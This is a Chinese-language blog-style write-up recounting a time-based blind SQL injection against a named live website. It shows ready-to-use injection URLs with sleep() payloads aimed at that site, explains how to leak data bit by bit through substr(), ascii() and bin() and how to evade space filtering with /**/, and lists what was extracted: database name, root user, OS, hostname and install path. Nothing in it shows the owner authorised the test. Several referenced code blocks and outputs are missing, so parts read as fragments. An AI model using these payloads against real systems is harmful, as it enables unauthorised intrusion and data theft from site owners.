记一次当时不会,事后特别后悔,复盘奇葩SQL时间延迟盲注
Sleep()函数内置查询注入
Payload: if(now()=sysdate(),sleep(5),0)
漏洞验证:
https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(5)%2C0)
延迟了10秒

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(6)%2C0)
延迟了12秒

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(7)%2C0)
延迟了14秒

now()返回的时间是SQL语句执行的时间,无论在一次SQL语句中now()函数被执行多少次.即SQL开始执行的时间.
sysdate()返回的时间是函数执行的时间,
通过上面的payload测试可以延迟函数被执行了两次中执行了2次
获取当前数据库的库名长度
https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate(),sleep(length(database())),0)


8/2=4,所以当前数据库的库名长度为4个字符

获取数据库名ascii编码后第1位数值后对其再进行二进制编码后的数值的长度为14/2=7(字符)
生成注入字典payload

中心思想是把执行结果通过substr()函数逐个字符进行切割,然后ascii编码成长度为2或3的阿拉伯数字,在进行bin()二进制编码在通过函数成长度为6到7,在把二进制编码后的字符串通过substr()函数逐个字符进行切割,通过Sleep()延迟函数执行0、1的方式向前台传递服务器信息。


当前数据库为deya

查看当前用户名为root@localhost

查看版本号

当时忘记加了判断特俗字符串和数字的判断
查看目标系统版本

Linuxzgli
查看主机名

ORAClEserve
获取数据库软件安装位置

/deya/cms/data/db/mysql
查表
利用条件是全部查询语句只能放在sleep()函数里面执行外带出来,且不能有空格。。。
问了好几个前辈都摇了摇头,结束之后本地靶机复盘测试,竟然查询成功
完整版exp如下:

用/**/规避空格执行报错问题
if numer == "0000000":
这行代码主要是判断字符是否为空
执行结果

主要就是递归枚举了这两个参数信息,来获取目标数据信息。
利用方式

把这个用for循环做个拼接,然后递归请求执行,执行响应的时间除以2,就可以得出结果。。。
结束